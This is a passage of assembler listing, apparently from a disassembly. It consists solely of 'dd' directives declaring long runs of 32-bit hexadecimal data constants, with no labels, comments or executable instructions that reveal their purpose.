		dd 0C0DC82B6h, 0E45DD460h, 5A274200h, 19D029BAh, 816B00C7h
		dd 0CCCFECA3h, 31007C3Dh, 0E2ABD6EFh, 0ABC8E4Bh, 0FAA67C9h
		dd 0ED169Ah, 13352CD5h,	510F4E18h, 0A0834FF1h, 64DC1DB2h
		dd 2920FFCh, 41EF08FFh,	780085A9h, 7A90E9D1h, 0F001D73h
		dd 26A5A6B8h, 7545BE8Ah, 7E31786Eh, 3BF3003Ah, 0DB947FBh
		dd 0B0093574h, 7A59FDh,	0B40727B1h, 579500E5h, 0EAF6B633h
		dd 4E00C21Bh, 34D8C6C0h, 0C58CF2Ch, 9B5BD5D4h, 7A079774h
		dd 41BA4E14h, 481BC550h, 0CCAB0472h, 0C044DEEFh, 0ACBC7064h
		dd 95273F00h, 1A018052h, 0B9BB00B5h, 0D435FBDh,	76000261h
		dd 0CA87DD4Dh, 0BA073h,	0A9F7D48Ah, 3EE0377Eh, 80915A39h
		dd 0B49E58E2h, 98E3DEBh, 362A0A54h, 0D89F0882h,	40824D41h
		dd 92D3CF88h, 277EB4Ch
		dd 47E5815Ch, 9FC440F5h, 0F4C8120Eh, 99D840D4h,	6839361Bh
		dd 10D5C13Ch, 8F3CF9B7h, 8CC69F00h, 0E8AA0930h,	0C88A2200h
		dd 0E438455Bh, 0A1CE0181h, 1DD2D040h, 76CD30C9h, 6F05E600h
		dd 0CCD5C426h, 0DB710039h, 9BD4D15Fh, 0FDF6C2D7h, 8099503Fh
		dd 747C6A0Ah, 3FE6BE8h,	6848B439h, 0C881F34h, 0FA711418h
		dd 0DDD5DA00h, 1C3BAC4Eh, 58F6781Dh, 7700F96Bh,	0A2E5EC31h
		dd 5F078A2Bh, 0C9B7B3C4h, 0F6639230h, 0ECF200BEh, 0BAAA0732h
		dd 0AD131FAFh, 350E0F29h, 0BF4B7Bh, 0B0B74C38h,	0EDC40F7Ch
		dd 0E5E0BC0Ah, 88105E75h, 0AE006090h, 86CFD24h,	6AD46Bh
		dd 0F803EA36h, 9E9A3E5h, 0C90192B0h, 9D2732D9h,	91D93B61h
		dd 20986420h, 0BA0AD807h, 0CC9FC805h, 0F4B26D00h, 24E4BEE1h
		dd 7DCFFA1h, 138A6F5Ch,	0B6913E4Dh, 0EC91EDEEh,	3B02BE77h
		dd 340E3AA0h, 6000626Dh, 459053h, 2ECD09A8h, 0E62F1F67h
		dd 74B9112Fh, 92FA0148h, 0E0B1DB36h, 0F4009356h, 0B4C143C3h
		dd 82A344h, 9BDF7558h, 6E5EA5E7h, 0CA2601Fh, 7B100700h
		dd 5EAA7002h, 3578A080h, 66435500h, 0C49DF45Eh,	27CC01D1h
		dd 3FA26F11h, 9FE68781h, 8407E4AAh, 14D46170h, 250A3F23h
		dd 0C7977C05h, 0EBC6000Bh, 71504E96h, 0AA1E9000h, 0D1807099h
		dd 0C594007Dh, 0C2605687h, 4509D33Ch, 81C3DC39h, 0F0F70DB4h
		dd 0F13FEE8h, 143C2ACAh, 0FDD99020h, 5000C9BEh,	61D832EAh
		dd 7A9A9Dh, 2240251Eh, 56211885h, 45340C07h, 0E8503610h
		dd 1C71BBh, 428ACF8Ch, 749C240h, 2FFEB490h, 9F033100h
		dd 21525B89h, 368500B6h, 9DD9ABC8h, 8C0034A9h, 0A01C79F9h
		dd 24D86D28h, 24942BE0h, 950A0341h, 0B38026B2h,	0A4B1D05Ah
		dd 9D5FF00h, 0F2A3A28Eh, 8A0C0041h, 2249F908h, 3100B77Eh
		dd 8E036AE0h, 0B093635Ch, 102FCA5h, 7DB4BB73h, 0FC165D89h
		dd 85007FC7h, 1256DDA5h, 0A3B5Fh, 0C1092B2Fh, 0E708A832h
		dd 3300E0B8h, 0D24127F2h, 9FDA1Fh, 0FF3DE93Ch, 143A9CAEh
		dd 10499B02h, 80C78F46h, 0E16A7DB0h, 83210040h,	0FB6C5AFCh
		dd 1B48036Fh, 0F6B90096h, 0C30D2D97h, 4A7599h, 8F30605Bh
		dd 0C6010743h, 0CFA4FE26h, 193C2400h, 5063466Bh, 0B2B087h
		dd 7C7AF4Eh, 515B283Fh,	0D720971Fh, 0B3869100h,	3A1980h
		dd 0DF12A1B5h, 93E931F7h, 0F404EDECh, 5D2DAEB8h, 234E2BC0h
		dd 46333AE7h, 96E1C780h, 0FEA89FDh, 0BA0159FCh,	7006941Dh
		dd 0D870E34Dh, 0D9ED3035h, 571AB929h, 5AEE5901h, 34BE88FFh
		dd 0A467F4h, 0A715C6EBh, 962926B1h, 9006D7Ah, 0F9A236F3h
		dd 3F2AC2Fh, 507AEA46h,	56A84AE2h, 0E30086FAh, 0C8CC178h
		dd 1D4236C7h, 0C02BAB04h, 0F552FBDEh, 5F1C1EB9h, 0AE40E272h
		dd 0AC85EB3Bh, 0C9A100ADh, 5A868252h, 0AF44CA75h, 6B6F02EBh
		dd 54A6ACC4h, 0D05C80C1h, 3D59A9C7h, 58C500B4h,	1235E4CEh
		dd 45490097h, 46EBEDECh, 0B800B3D0h, 3AAD220h, 87ACF7h
		dd 7CF824A4h, 0D1830DE1h, 530BF101h, 16EA655Bh,	3C278F4h
		dd 44906B13h, 600C7CB9h, 4675022Dh, 0A9D0088h, 43260DE6h
		dd 21DC81B0h, 40D21E09h, 6E68D0h, 1F4C8519h, 0CA4BF218h
		dd 101C0528h, 0B8024618h, 1877FE39h, 80811F1h, 9D2C1428h
		dd 16034953h, 0C1E309B0h, 3440CF47h, 0BA316Bh, 0D21F0466h
		dd 0C6B22E85h, 6F0008F8h, 9641FAF1h, 30181CA1h,	303852AAh
		dd 730066E2h, 288C92D9h, 75F93FCh, 9A864ED6h, 1030B081h
		dd 5E05A31Ch, 0CF6906E9h, 0A62239C0h, 327026h, 8A75D8BEh
		dd 0FCF52830h, 7869F100h, 0CF93C1DDh, 79070055h, 8D0C2D68h
		dd 1503172Ch, 0DF943ABCh, 0F660B07Ch, 0C1836005h, 44C83DBFh
		dd 54005F78h, 8871D6B2h, 72980351h, 80010036h, 0EB7675BEh
		dd 0A5600AA8h, 3270F38h, 0A0B85043h, 0F63D002Fh, 0DB6704A3h
		dd 0FF0C56C1h, 40254507h, 50E50116h, 379DEA2h, 0F7EDF013h
		dd 0A1E8C501h, 33AE2159h, 4ABE3900h, 91DEBB00h,	24B45519h
		dd 0C92D25E7h, 3F3D2C80h, 0CF0F6003h, 2016EC27h, 0B489DB1Bh
		dd 0D78E00C1h, 0A768F12h, 85002F45h, 0D14C7860h, 1395CBB8h
		dd 4111036Dh, 0F8D059D0h, 588050B4h, 2A60BB80h,	46B5E418h
		dd 123400C0h, 0A98E501Dh, 37F08C1Bh, 0DF82F404h, 0B3801560h
		dd 76A33Ah, 22D6F594h, 0AD122530h, 0E9EC19FCh, 5789C300h
		dd 1C215B0Dh, 0DAA301BCh, 0B6877EB1h, 5553CC98h, 0DB10AB62h
		dd 61049DADh, 81732924h, 9F271610h, 0A8CC76E2h,	81A10021h
		dd 3ACDCC7Eh, 1518248Ch, 20BED6B0h, 0D029DF85h,	7D58001Eh
		dd 7EE606AFh, 0EF701E1Dh, 6514436Dh, 21C8906Eh,	8007E9D5h
		dd 0A8C850E1h, 32E686F0h, 5362009Ch, 0A5488B92h, 0D100B995h
		dd 25DDE71Bh, 0C0B010h,	650CCB3h, 0BD972AC9h, 17078B00h
		dd 83961B9Ah, 6DCF3F42h, 98C00380h, 7EDAA471h, 99873201h
		dd 0CC18DE53h, 43E6C8CFh, 0E2B7175Dh, 76430082h, 0F99E9732h
		dd 0E4630200h, 8580574h, 2FBA06EEh, 10035A24h, 87707600h
		dd 0FCE19E83h, 0AE4C0080h, 5D4D454Ah, 23097FB1h, 6872E6h
		dd 0DB807501h, 0E20300F1h, 5A22BFB6h, 401DA884h, 0FA94DCh
		dd 57C1C6AEh, 7914Dh, 0F8560243h, 0C90B9813h, 0F274AD00h
		dd 64A7E9EFh, 0CED400B1h, 449A2EC6h, 0EE008671h, 80A15833h
		dd 7497D60h, 73CCFB62h,	2208F057h, 7E005312h, 706CF94Dh
		dd 0C20AE1h, 2F82189Dh,	0DAF14E9Eh, 124ABA00h, 4B3EAEE5h
		dd 0F027FC5h, 0E44342DDh, 0E785420h, 2F05EF2Dh,	9C0BC16Fh
		dd 74813CC1h, 10190D0h,	0D5CF97DFh, 80020A4Dh, 9996F329h
		dd 0B86983h, 8652B43Ah,	21B7AE45h, 34AFC624h, 66AA9500h
		dd 0AC36F5h, 5DFF6034h,	0E1B5C94Dh, 0E24CE300h,	0A5B039C2h
		dd 0D1AD0044h, 2235B3F5h, 0A05012ECh, 0DA0078F4h, 6BC18845h
		dd 48B36A5Ah, 0E31F1006h, 5200FDDCh, 846D0C4Ah,	0BD0FF2B7h
		dd 8626991Bh, 113D64h, 0E45D8EFEh, 0B756DCAFh, 0F3C40603h
		dd 0C8BF8116h, 4F055Bh,	0EE44DEB2h, 0A41321A9h,	292E8B07h
		dd 40904161h, 24E810C9h, 98896Dh, 95FE0F8Ah, 8D0057EDh
		dd 0B06275F7h, 5CDD978h, 1B612718h, 7950C07Dh, 8400DB04h
		dd 8B1E106h, 0AE66Bh, 0BC2AC15Fh, 0E5172B87h, 0DD605AEAh
		dd 0D1E1EC78h, 601C0CC9h, 0F7C139F5h, 7925D704h, 0D3402845h
		dd 1C4A0BE4h, 0F495E001h, 0E50A3C40h, 946B030h,	84D276C1h
		dd 0BCE1A422h, 59560840h, 0FAEF3301h, 0AF389450h, 1EC9FD30h
		dd 4FB6F2A5h, 4E2E151Bh, 0C768C21Eh, 146064AAh,	5D00D77Eh
		dd 4BB738C3h, 7BCFEFAh,	0ABF092CAh, 19EFB044h, 9900F977h
		dd 12BBB954h, 0B203D8h,	0A4AFB761h, 373B96E4h, 9713F903h
		dd 9057A925h, 5B6D93h, 0A3462708h, 0F1CD626Eh, 0C4FE80EFh
		dd 0A5752EDCh, 6BD60C54h, 0A310D35Ch, 9200CF7Bh, 53687013h
		dd 98544A58h, 6AED0094h, 0F55C7752h, 0B009A6Bh,	192C9CD4h
		dd 1F8BDB8Ah, 9EE1240Ch, 0C6614611h, 50E05028h,	3225EF00h
		dd 46FCD94Ch, 8CFF002Fh, 7FC0AD54h, 0AE1E5D45h,	2687FDDFh
		dd 0A0D0C5FCh, 4C0367F0h, 0A4185F52h, 64B806Fh,	571F5501h
		dd 0F618F884h, 0EA5EE9E3h, 4D52FCh, 93BAD8F1h, 0A5D9890Dh
		dd 0F3986B1Dh, 1543685h, 3AC5A840h, 77774B80h, 17311266h
		dd 20004014h, 0EBB8A3ACh, 0CE10B560h, 750CD6h, 31833C41h
		dd 2BFEFD61h, 19008D77h, 0DC589648h, 181189EFh,	606CB24Bh
		dd 98009B8Ch, 0BB7F0325h
		dd 0C927A8h, 0C0492A09h, 0BD3C2058h, 0EF00D8E4h, 737EECD1h
		dd 0ED909Ch, 0A08D1296h, 0CDBFE34Bh, 556E5900h,	1DB1C4DCh
		dd 4FBE0099h, 1F079376h, 2EEC363Ch, 345D59h, 3D59C40h
		dd 0EA283C6h, 7FF6F757h, 9BA080BEh, 724CDCF0h, 0F21DB400h
		dd 0D94E6735h, 79D80041h, 584A20ACh, 48003BDDh,	0B092DF60h
		dd 0C0772447h, 0F84B74B8h, 0A00CF5Ah, 0A15F98AEh, 0B7365Bh
		dd 0FD97867Dh, 0B002F676h, 0AD6F3E00h, 5E169067h, 262B0FC2h
		dd 888A9B7Eh, 5F06008Ch, 0C3B255E7h, 32B73B00h,	0B1B94B42h
		dd 62D600F7h, 886ADAD9h, 0D500F9A3h, 0C1E9E6FDh, 9BEC78h
		dd 74F3BC2Fh, 4CC7183Ah, 5A0043EAh, 9E41EEF0h, 66EB0Eh
		dd 0FA285340h, 34893CF2h, 8478600h, 50AD205Bh, 13F6002Bh
		dd 0F360292Fh, 730079A2h, 491AD821h, 42066Fh, 46D3457h
		dd 0F7C6B88Eh, 799FD40Bh, 73CC0039h, 7A4AE17h, 92AFEE97h
		dd 7B75814Fh, 16FC301Dh, 81448E00h, 43C0ACC1h, 0CCF0053h
		dd 791C7CCEh, 130EF0B2h, 97E509Eh, 0D7640257h, 0B6A86965h
		dd 2A35C60h, 15DEE5C0h,	0BC8F6E29h, 0F11FFCE0h,	0F800AA4Dh
		dd 7AB23C89h, 0F84AB3Bh, 620C3074h, 0DAB3EE40h,	2F0E6EB0h
		dd 60B1BDC2h, 61C38A0h,	75B7A087h, 0BE6B098Dh, 2A8E2B7Eh
		dd 860231A0h, 0B0009CE5h, 0CC3B8F49h, 0FC1FADB2h, 1A430B06h
		dd 570A11D7h, 0FA6006B2h, 0F9001128h, 0E0A94090h, 8893DEh
		dd 0C952B975h, 3ABA2DB2h, 3900ECE2h, 801763A8h,	977E59Ch
		dd 81D2E311h, 9D1B5420h, 6807EBECh, 99BB01DCh, 0E1E62D80h
		dd 0D02F0075h, 0DB9F8628h, 4F1DC957h, 5341F6FAh, 4A8DFCC1h
		dd 71765730h, 0E3210148h, 7FF83318h, 1EA0301Ch,	0B3F060F0h
		dd 80118C63h, 0DBDFC13Ah, 5160E010h, 309B4A0Fh,	0CF2BC065h
		dd 0B676A2h, 2E4746D0h,	0E3DF81DBh, 331D4500h, 7A4C1FD6h
		dd 7600BE1h, 0E8A08A53h, 3329D442h, 181C523Ah, 7C58E349h
		dd 0C1F93026h, 0C6E687E9h, 10807230h, 173E640Fh, 7637951h
		dd 0C3BCF502h, 0D9C8ED24h, 31004DADh, 8874A5D6h, 4FC39h
		dd 8BC8C476h, 0DFDB9A8h, 0B0573100h, 4BEE221Dh,	183700E8h
		dd 3982C4F0h, 900F12Fh,	6DF94517h, 9A176BCh, 5BD48E92h
		dd 0CF20C70Eh, 5589D944h, 2BB88A04h, 0A087167Fh, 2493720h
		dd 0CAECFBh, 2E0BF5BBh,	1E7618E2h, 39D5FF00h, 592087B6h
		dd 2223314Dh, 0F49AF4D1h, 880146FDh, 0F2C462D9h, 2B20F88Ah
		dd 0DE3F0751h, 60A7EE91h, 727FE2F6h, 0A02F7614h, 0B1A907C4h
		dd 945A7819h, 0B5527B80h, 0CA3331Fh, 4DE67C60h,	0AE607008h
		dd 0B5540220h, 15D9856h, 0AB9E03BBh, 308C3455h,	1E1BCD72h
		dd 11071EBh, 64A3DB51h,	8086EA99h, 0C1028D11h, 0CE204A5h
		dd 322C9E5Ch, 0BCB29508h, 0C1E76B00h, 1D3F5969h, 0F90C902Fh
		dd 1F5F7560h, 4A7F5D80h, 5C2C8C6Bh, 55009146h, 0D8FF6F37h
		dd 0D9072A89h, 0EFA50180h, 7576E000h, 30B7333Dh, 0BBE304C0h
		dd 22E0DE9Bh, 0B0788854h, 0E1B63Ch, 42211459h, 2D855Ah
		dd 0CB55CC5Dh, 0FAEEB3DCh, 0A856A907h, 69503AD0h, 0FA6002A0h
		dd 5F32000Ah, 90EEDF2Ah, 1000DE20h, 9F8DF32Fh, 1BF059h
		dd 81A13688h, 0AD49778Ah, 21BBD012h, 4479EE00h,	2FD2B1h
		dd 57AC6F1Eh, 910FEE15h, 0D4B6970Eh, 96544069h,	11C6EBEh
		dd 628CA97Bh, 0E8615978h, 1A0E47A5h, 43E79C70h,	0B0E60F18h
		dd 5A8DC4h, 43FD1E61h, 2402EAEh, 2574A301h, 0E5F135DCh
		dd 0D5E54ECh, 14F45AD6h, 0F058E151h, 1A748ABFh,	0ABDE000h
		dd 9FF97CC6h, 0BB20C35Bh, 0F280BF97h, 0A7005871h, 0F134B3ECh
		dd 1BBE9D2Ch, 282999D0h, 1BF75000h, 30406911h, 9C39002Eh
		dd 577B6FD1h, 4308985h,	0EEB92860h, 65960136h, 8C51580Fh
		dd 0E1089810h, 0E239E849h, 521803C4h, 0F3B0C076h, 0F65763A8h
		dd 0BD416400h, 0F836906Eh, 76106A2h, 88CBD06Dh,	56A11C00h
		dd 248E9BF6h, 0F938008Ah, 66B5FD9Ch, 0E0005FD5h, 0F875DED1h
		dd 0E011FF2Ah, 87F100D2h, 994FC431h, 0F70FFA0Dh, 40C9A32Fh
		dd 457EDE79h, 5BA60086h, 53AC306Bh, 25008CC4h, 0D5EC59F3h
		dd 378ED3Fh, 134377Fh, 0EB80E1ADh, 2400BAD4h, 8056F5C0h
		dd 607E8779h, 318B207Ch, 0A4730791h, 4C6ACE00h,	1A8E4B60h
		dd 0E029002Dh, 0CFFB7509h, 0B3779BBAh, 4B341200h, 4D413B5Ch
		dd 0EB840CC0h, 0AE1807A6h, 7B0604FEh, 7A1E2D2Ah, 741701A1h
		dd 39BE6C8Dh, 0C0F6D8FFh, 2203C903h, 9F5BB525h,	63284Ch
		dd 9F6DD975h, 1CD02009h, 5FDC6201h, 78138744h, 28583887h
		dd 0B2BD3185h, 0EBA1815Bh, 6024B643h, 3F4AACC0h, 0DC00B491h
		dd 81015CC3h, 28C120F7h, 0E1D7EB03h, 84A01889h,	0FD3F4001h
		dd 28808E72h, 0F8E660B7h, 7E1C9675h, 6B90A037h,	0C7BA0371h
		dd 1A0D3DE2h, 0CF8A36A0h, 3126FF3Ah, 0C6011802h, 6E3E1016h
		dd 437A1E89h, 8F8DD90Fh, 21DD4CEAh, 6350001Eh, 533F66CCh
		dd 0C200DADBh, 9A4BFBA5h, 0A22FF8h, 3AA8C5A7h, 0E86C64DFh
		dd 0D169360Bh, 0FD9B83E2h, 81480FE3h, 44C3D738h, 0E1E0A3DFh
		dd 1F3937A9h, 0FCBD5Ah,	95DAA889h, 1B725D93h, 819491C4h
		dd 0D8421E80h, 30D62B3Ch, 88D7606Dh, 5C20D0E6h,	685EB04Eh
		dd 8728500Ah, 0D60480E2h, 0A140D039h, 234233E3h, 7E9C720Bh
		dd 42118E0Eh, 806CC3ECh, 90C0C280h, 8DED042Fh, 1E50835h
		dd 669CB10Fh, 0CD9C3DCh, 7BE21B9Dh, 0BA1FB331h,	442A22EEh
		dd 0A87D057Ah, 3978CA63h, 8F4904F2h, 803DC7B6h,	1BC07FE4h
		dd 0EE8DC924h, 1656E400h, 0C5415C67h, 402B6B58h, 51784ECCh
		dd 0C47B6D29h, 58321F71h, 80055156h, 19BBEAACh,	0C431C0F4h
		dd 0A546D752h, 0D288E02Eh, 88A9C90Ch, 1C8A85Eh,	8D4A00BEh
		dd 0B9F0AFC7h, 0C360AD3Fh, 919981C1h, 0B4B9CA1Bh, 0E06580DCh
		dd 6F14F668h, 329F2006h, 713D71h, 0ABD30B96h, 10C1187Ah
		dd 18811431h, 708A65CFh, 8084A61Fh, 8E296DB6h, 7A002577h
		dd 374ECF9Ch, 38C2B42h,	14AEC673h, 5802160Ah, 51D7E0C2h
		dd 6AF0A38Bh, 0C9713D1Fh, 56139300h, 0EE9E4512h, 0F03F83EEh
		dd 0BB3077AAh, 0D66F2840h, 3AF98DBh, 92EA7C36h,	0E6E9A62Dh
		dd 0C0C2180h, 8B6048E0h, 1FEE3658h, 847D0061h, 144BE5Ch
		dd 0F20842E4h, 0CEC1E0Bh, 0D5911A55h, 87B2AE00h, 35A583C1h
		dd 11F031FFh, 80D71F58h, 0A6AB36F8h, 7AF1179Fh,	7B7401EEh
		dd 0B19A67E9h, 5133FF0Ah, 8BBFB1B9h, 0F63F09Eh,	263D01BCh
		dd 0CC566B06h, 0D2C2307h, 103919CFh, 63C06010h,	611C28E9h
		dd 3ECA0064h, 53E85AECh, 0EA0D8EFFh, 0F9AD78F3h, 27C6C842h
		dd 1DF57059h, 0F8009FE8h, 6EEBE6A0h, 0E6495B95h, 0D1F909EAh
		dd 0B8238DABh, 383FB39Dh, 0A84939h, 0CC5BE26h, 51D8959h
		dd 2DD86357h, 0CFF80A9Fh, 0BAFA835Ch, 0A10A82DDh, 0A48F5ED7h
		dd 3C43C292h, 88C16Bh, 1A74E520h, 7DB57D2h, 0B597B100h
		dd 2F930916h, 0BF18009Eh, 1F4573A6h, 0C70133FBh, 0BB8DAC24h
		dd 44F09F5Bh, 96D88346h, 4762841Dh, 61C5AD30h, 4DD50B3Bh
		dd 0CADC208Fh, 476DBE81h, 963887A4h, 0BF40A0F5h, 0E34EEBh
		dd 7A0DD56Eh, 0F6F0075Eh, 150079D3h, 0B931AD34h, 44BC0695h
		dd 69272CB4h, 37ED073Ah, 0FC3487Ah, 0A8191F28h,	170600EFh
		dd 0BEA332E1h, 50C96330h, 74FD5E44h, 0A5F23CB6h, 6554E306h
		dd 551888BDh, 0DA404230h, 685301E7h, 22353343h,	8FC0E4A4h
		dd 4120BC72h, 50DB0C47h
		dd 173045B7h, 0B42A130Eh, 0ED3CC05Fh, 0C592795h, 4ABC2D7Dh
		dd 3719E378h, 0E469BBC9h, 722400D2h, 0B001C27h,	75815D71h
		dd 0C35E9C6Ah, 0A7F35F60h, 81C29681h, 2A7C7039h, 0EE605836h
		dd 0F8EA0071h, 1BF3F0C7h, 800330D6h, 0F9084EAFh, 0B998156Eh
		dd 0DF28986Ah, 0AC415438h, 0C7FB07D9h, 20F8D246h, 4066215Dh
		dd 3A2A8900h, 0A479161Eh, 4FB4004Eh, 0DFCD4396h, 0A0A09010h
		dd 0D18D4BFh, 0C5D95E0Ah, 619C09Bh, 0A9222E4Dh,	382A1C30h
		dd 0A413E011h, 453C38F4h, 87FDB40Dh, 8BA6E031h,	2A264314h
		dd 0B8DF76D0h, 0A9F7F00Ch, 0AB990032h, 0A079DDE8h, 0B30DE47h
		dd 1D85719Eh, 48F3E84Ah, 0E383182Fh, 2154992Dh,	0D4075F0Ch
		dd 0F8FAE4F9h, 7C5560ACh, 334780AFh, 0C2279104h, 881F67Bh
		dd 1424B4CDh, 1F6D03B3h, 3BBDCE59h, 2458EAC1h, 0CA18051Ch
		dd 3E29B0C5h, 3D4C0359h, 0F5248FB5h, 11F48900h,	3A792864h
		dd 515630E2h, 4DA9D3E0h, 9F13A9C4h, 49EAF343h, 0CADD3912h
		dd 44D86026h, 6E60CD40h, 0FEBE4571h, 0B22B0149h, 8492D077h
		dd 3CC6072h, 3126EA01h,	0C60A4515h, 10DE4889h, 0F68D7019h
		dd 0E192E500h, 473007Eh, 4CC814E6h, 2A04ED99h, 0F920A5CFh
		dd 0A70EA090h, 2F3144Dh, 1384B0FCh, 200F5F9Ch, 82A9FEDh
		dd 49DC4A44h, 2229B0D5h, 0AE12D8h, 0ED265F48h, 292A965Dh
		dd 0F312C4E6h, 0CC434DD0h, 0D036FF5Fh, 77D9E741h, 0A8814C5h
		dd 0E450A04Fh, 0CD96885Fh, 0F9008C92h, 0F3E31154h, 0E5931Eh
		dd 362618C2h, 86C5EBBAh, 40FD826h, 0AFBFAD85h, 79553404h
		dd 8ED918D0h, 29A91EFFh, 1261B0D0h, 5100FBB8h, 0C0DE42EEh
		dd 39391661h, 204C1DF9h, 803324C0h, 991C7986h, 0CA92D8DCh
		dd 0DDD6B467h, 28D000Eh, 96B06E5Fh, 7250D851h, 0F81EE6B7h
		dd 0B8684FB5h, 0D08C552Ah, 68EA9F0Eh, 410BA2h, 5BFAEC50h
		dd 44CB0034h, 3198E366h, 70907D5Ch, 0B0A1962Ah,	3B6DC600h
		dd 0EB7BB90Ch, 34B04B6h, 918592A2h, 43818484h, 0B90CA6E8h
		dd 0A943A851h, 0C2C09F8Fh, 5807C861h, 6563495Dh, 0C23A56B0h
		dd 18780947h, 0F804B077h, 0D8D745A5h, 7802FC24h, 49F0C124h
		dd 32FD51F8h, 16330F4h,	7CAFB8D3h, 8CE0CB87h, 0F1BE5539h
		dd 0FAB600D2h, 0E270D307h, 54D35ADh, 0C9E01058h, 2F0A5D00h
		dd 2DA0729Bh, 464AAA00h, 0FD2992BEh, 84AF56E7h,	0EBC23400h
		dd 923DD753h, 0DB5D3F07h, 0DC9A3325h, 0E326E710h, 0C2142424h
		dd 0CC6450F2h, 64007F77h, 899C61DFh, 1032FBE5h,	0FBBC72Dh
		dd 6A38723Ch, 0EA428030h, 274F10F7h, 678760Dh, 4C3070FEh
		dd 0D359CEA2h, 5FF38C61h, 0CDA034B7h, 0A780A17Ch, 6CCF12A5h
		dd 49B4424Fh, 55016AADh, 9B0048C8h, 52060C97h, 0E9DF337Ch
		dd 97090F8h, 218BD20Dh,	68BEA810h, 11DB13F1h, 0FAB4AF1h
		dd 23AC3706h, 13ECF3F6h, 48D825B9h, 5980A280h, 0B0AC2936h
		dd 0A1CF1367h, 13D025CAh, 99E06028h, 4E024918h,	0B251CEACh
		dd 0C17CB2FAh, 59A2AD5Bh, 302400C0h, 0E5CE0AA0h, 4A671193h
		dd 360CA98h, 603451D6h,	855FC178h, 0F424FA86h, 3C501CD7h
		dd 0C1CF03C6h, 0FB7ED667h, 146B1282h, 0B42296FAh, 0B3F44426h
		dd 0B8C2104h, 0CC12C30Bh, 0E600E864h, 3309801Dh, 3B92BC43h
		dd 5CBA6151h, 30727413h, 3256D3D4h, 0D07D040Ch,	7C596Ch
		dd 0D934D67Ah, 0DF9E86A3h, 978C0F00h, 6F369876h, 8E6D01ABh
		dd 48F36924h, 52C050EFh, 881D7443h, 8F494F25h, 0CDD422D9h
		dd 6C648093h, 268B51E9h, 8CD0F8EFh, 5E413F1Fh, 2A0053FAh
		dd 27223890h, 19B97EEh,	0ACAB17Dh, 0FCD8197Fh, 96163018h
		dd 0B846146Bh, 417D24h,	584C089Eh, 49F1290Eh, 0F383900h
		dd 0E98E6F4Dh, 0FCEF5280h, 7084C59h, 0E180CD96h, 6D9206FBh
		dd 0FF2B383Eh, 26D0B00Fh, 0E521C3C0h, 60B18828h, 0D99D6F80h
		dd 7753227Dh, 0F50100FBh, 82F8A514h, 0DC0C3F2Eh, 0A12F307Fh
		dd 0FFAA881Ah, 6BD85000h, 0E0E2079Dh, 0BD691DC7h, 0D1D245D9h
		dd 31B094E7h, 20121B98h, 97170F02h, 4802865Dh, 485089CEh
		dd 2EC4D8D4h, 0C0FC4A1Bh, 0AE798CA3h, 2334C000h, 5D6843C7h
		dd 85100C04h, 96F0CA7Ch, 3E7CF449h, 32B596ADh, 0B0EF4A0Bh
		dd 477992Ch, 488053B3h,	807948D1h, 0EB587B4Ch, 7016F5Eh
		dd 6781330Dh, 9C649D8Fh, 22702C8Bh, 96D0B2A4h, 26D1B420h
		dd 0EA2300B9h, 6527F57h, 0E8246525h, 3180ECAAh,	6CB1AFBEh
		dd 805B02B2h, 7F8419F0h, 29B4A448h, 0DE439094h,	8CD9C1Eh
		dd 0A2F3D603h, 880864EAh, 19DAE3A8h, 197E24A2h,	6FF1E3F1h
		dd 39A44857h, 82202B00h, 6B1D4318h, 5F71C17Dh, 34B238B9h
		dd 0CA4CA974h, 11A48280h, 58F04423h, 5A801896h,	42CDFC2h
		dd 9C3BD6ECh, 6FA1E2DEh, 848C407Eh, 0FE23262Dh,	648269E4h
		dd 0E280FAAEh, 87F95158h, 8C4040A2h, 61E5EAFh, 0F81266D9h
		dd 0D0A83C90h, 79DA09A5h, 0B4247413h, 0CCDF4097h, 1F625003h
		dd 0C7A8BF2h, 0D939E2F0h, 0AE49C3E6h, 3EF3161Ch, 45CD5021h
		dd 790E6C2Ch, 0C603A38Bh, 658A1749h, 0CC42005Ah, 0E458D10h
		dd 6009FC4Bh, 40948E95h, 5AD400DBh, 57C730EAh, 4863D5A8h
		dd 1DF078h, 2C777469h, 0F14C2767h, 3A647B07h, 0CDA582B9h
		dd 0ED608Ch, 0E5D65FEEh, 887017EFh, 5CBBFF28h, 724ECB0h
		dd 510988B4h, 0AEA468C9h, 0DA1B806Ah, 0B591DC99h, 5044204Ah
		dd 49F88311h, 9C8C683Dh, 0B3401DD5h, 3A916EAAh,	83BF18DCh
		dd 0A14AF931h, 8B8CBC44h, 0B5AD42D0h, 6C77E90Eh, 0D43541E2h
		dd 6BEC33A2h, 73080BB7h, 0EC22E8E4h, 8900A0F3h,	0C0E58024h
		dd 5AD8CF9Eh, 0F51F117Ah, 5824DCD6h, 46016797h,	0EE9C1A48h
		dd 3C3BD062h, 0EC2BE344h, 0A40048A0h, 872CD7CBh, 0D18800C6h
		dd 0DFA3A01Bh, 0DEC9F99h, 0EC79E80Fh, 0AC107053h, 4867006Ah
		dd 50AD59CDh, 0FCB90174h, 0F829F294h, 243C44BBh, 0FDF880DCh
		dd 0E98B7CEFh, 7AC4785Ch, 0E821CB5Eh, 0C79AA810h, 94EAE500h
		dd 96D6CC51h, 0CA78261Bh, 0B96B4704h, 0BAC52868h, 0DD940709h
		dd 4684482h, 1D1E43B8h,	8BE491A3h, 0E440A9D1h, 47B9B81h
		dd 498077EAh, 4B25D7FAh, 4499506Bh, 48CA2104h, 7090240Bh
		dd 84001EB5h, 30FED14Bh, 48349D55h, 5D3080A7h, 618E21A1h
		dd 8688D600h, 0A1211B2h, 0E6BB0251h, 2C66F430h,	0C0300879h
		dd 2C7BEBA3h, 0F2CC712h, 60934DA2h, 0FC5EC098h,	0A9165F00h
		dd 0C646BF19h, 2EE52939h, 4C299Ch, 0B938D4E4h, 783B6AA7h
		dd 80D7BCE1h, 9EDCE249h, 0AE60F4Ah, 0FD2781F4h,	0D6748BA0h
		dd 33D97890h, 88538901h, 0C9E67F6Ah, 12C04028h,	47C8619Ch
		dd 5C07ECB0h, 907265F4h, 73CCAA81h, 1B102C38h, 0D13C004Ah
		dd 0CA1AFABCh, 95AA3402h, 8B04D274h, 53E18320h,	0B1471DB9h
		dd 0DABE077Fh, 0F010A189h, 0C6519D8Dh, 1D70020h, 74792366h
		dd 0B100314Dh, 9DD95DD3h, 556A2F5Ah, 0D824FCAEh, 0C886004Fh
		dd 98FE378Ch, 8490DD24h, 882CE099h, 0E8592811h,	3136F312h
		dd 31759654h, 0BEC1F3A0h, 989C3C60h, 44513921h,	4700C4E4h
		dd 1601B3E1h, 0C1F46Bh,	0DE0AFDAFh, 0C93C4F82h,	0D4F4CC4Ch
